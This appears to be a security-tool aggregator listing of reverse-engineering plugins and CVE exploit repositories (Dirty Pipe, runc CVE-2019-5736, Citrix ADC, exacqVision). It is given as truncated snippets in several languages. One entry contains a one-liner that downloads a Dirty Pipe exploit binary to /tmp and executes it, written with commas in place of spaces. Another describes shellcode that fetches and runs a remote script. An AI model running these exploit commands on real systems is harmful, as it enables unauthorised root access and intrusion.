binja_dynamics

Binary Ninja Dynamic Analysis Tools यह प्रोजेक्ट Binary Ninja के लिए binjatron प्लगइन में एक PyQt5 फ्रंटएंड जोड़ता है, जिसमें हाइलाइटिंग सुविधाएँ शामिल हैं जिनका उद्देश्य शुरुआती लोगों के लिए रिवर्स इंजीनियरिंग सीखना आसान बनाना है। प्रेरणा x86 बाइनरी को रिवर्स इंजीनियर करने की क्षमता सूचना सुरक्ष...

binja_sensei

binjasensei Strumenti didattici per Binary Ninja Questo plugin fornisce risorse per i principianti che vogliono imparare il reverse engineering utilizzando Binary Ninja. Installa automaticamente diversi altri plugin e fornisce esempi che mostrano le funzionalità di questi plugin. Origini Questo...

idahunt

Panoramica Requisiti Funzionalità Scripting Utilizzo Simulare senza eseguire Analisi iniziale Eseguire uno script IDA Python Binary diffing Requisiti Analisi iniziale Diffing dei file Diffing di una funzione Filtri Rilevamento dell'architettura Specifici per target Progetti noti che utilizzano...

CVE-2024-44346

CVE-Offenlegung: CVE-2024-44346 Datum: 13.09.2024 Zusammenfassung Eine Schwachstelle wurde in Tosibox tbsetup.exe Version 4.0.0.0 identifiziert, die eine lokale Privilegienausweitung ermöglichen könnte. Diesem Problem wurde die Kennung CVE-2024-44346 zugewiesen. Der Hersteller hat eine...

readable-thrift

Readable Thrift Readable Thrift erleichtert die Arbeit mit binären Thrift-Protokollnachrichten, indem es sie in ein für Menschen gut lesbares Format umwandelt und zurück. Dadurch wird die manuelle Analyse und Manipulation von Thrift-Nachrichten im Binärformat genauso einfach wie die Arbeit mit...

WCFDSer-ngng

WCFDSer-ngng Un plugin Burp Extender che rende leggibili e modificabili gli oggetti SOAP binari. Basato sul lavoro originale di Brian Holyfield, tutti ringraziano Brian http://blog.gdssecurity.com/labs/2009/11/19/wcf-binary-soap-plug-in-for-burp.html Perché? Questa versione corregge un bug per cu...

Arlo

Arlo Estrai i binari eseguibili dal dump e dagli aggiornamenti Arlo Vedi il blog post su https://www.synacktiv.com/publications/arlo-im-watching-you Parser arlo.py viene utilizzato per analizzare un dump di memoria Flash, scaricare e analizzare gli aggiornamenti o elencare i modelli noti. Richied...

perf-exploiter

perf-exploiter CVE-2014-2630 In uno dei nostri recenti penetration test abbiamo sfruttato una vulnerabilità che colpisce un binario suid chiamato "xglance-bin". Parte della soluzione HP Performance Monitoring , ci ha permesso di elevare le nostre sessioni locali non privilegiate su alcuni sistemi...

cve-2024-30088-binary

Questo repository non contiene un README...

cve-2019-5736-poc

CVE-2019-5736 Prova di concetto Questa aggiunge una stringa al binario runc dell'host. Porta il tuo payload vedi stage2.c. Per eseguire: docker build -t cve . docker run cve strings /usr/bin/docker-runc | tail -n 2...

CVE-2012-0056

Linux Lokale Privilegienausweitung via SUID /proc/pid/mem Write Mempodipper Vorstellung von Mempodipper, einem Exploit für CVE-2012-0056. /proc/pid /mem ist eine Schnittstelle zum direkten Lesen und Schreiben von Prozessspeicher, indem man mit denselben Adressen wie der virtuelle Adressraum des...

stagefright-cve-2015-3864

stagefright-cve-2015-3864 PoC - Patch binarie per CVE-2015-3864 NON per la produzione, usare a proprio rischio...

shim

shim, un bootloader UEFI di primo stadio shim è un'applicazione EFI semplice che, quando viene eseguita, tenta di aprire ed eseguire un'altra applicazione. Inizialmente proverà a farlo tramite le chiamate EFI standard LoadImage e StartImage. Se queste falliscono ad esempio perché Secure Boot è...

CVE-2023-3519

ثغرة RCE في Citrix ADC CVE-2023-3519 يستخدم هذا الاستغلال عناوين وشيلكود لإصدار Citrix VPX 13.1-48.47. للاطلاع على الشرح الكامل، انقر هنا. الاستخدام يلزم وجود NASM لبناء الشيلكود. root@kitploit: $ sudo apt install nasm الشيلكود المضمن سيقوم بتنزيل وتشغيل سكربت شل من خادم https بعيد. يأخذ السكربت ...

binviz

binviz Strumento di visualizzazione e triage binario: viste interattive collegate entropia, istogrammi, superfici immagine/dot-plot, grafi di flusso di controllo su un unico modello condiviso di spazio degli indirizzi. root@kitploit: pipx install binviz && binviz serve Cosa fa Apri un file e ogni...

CVE-2022-0847-Dirty-Pipe

استغلال CVE-2022-0847 في سطر واحد root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2020-9047

Menu de Uso/Ajuda root@kitploit: usage: CVE-2020-9047.py -h -p RPORT -s LPORT --command -d WEBDIR -U USERNAME -P PASSWORD WINDOWS,LINUX,CHECK RHOST LHOST PAYLOAD Exploit for exacqVision Web Service as outlined in CVE-2020-9047. This program targets Windows and Linux x86 installations of exacqVisi...

Dirtypipe-exploit

Dirtypipe-exploit Dirty Pipe CVE-2022-0847 PoC, das eine SUID-Binary kapert, um eine Root-Shell zu starten und außerdem versucht, die beschädigte Binary wiederherzustellen...

CVE-2025-51726

Come richiesto, ho ora dimostrato entrambe le vulnerabilità BA2022 e BA2015 con scenari di sfruttamento pratici e prove di PoC, che mostrano come un attaccante potrebbe abusare di questi problemi in un contesto reale. 📌 1. BA2022 Hash Debole nella Firma del Codice – Dimostrazione dello Sfruttamen...

CVE-2022-21392

CVE-2022-21392: Escalation Locale dei Privilegi tramite NMR SUID in Oracle Enterprise Manager Nelle installazioni Oracle, dove il binario “nmr” è presente e ha il SUID impostato come “root”, a causa di permessi delle directory insicuri, l’utente “oracle” può elevare i propri privilegi a quelli...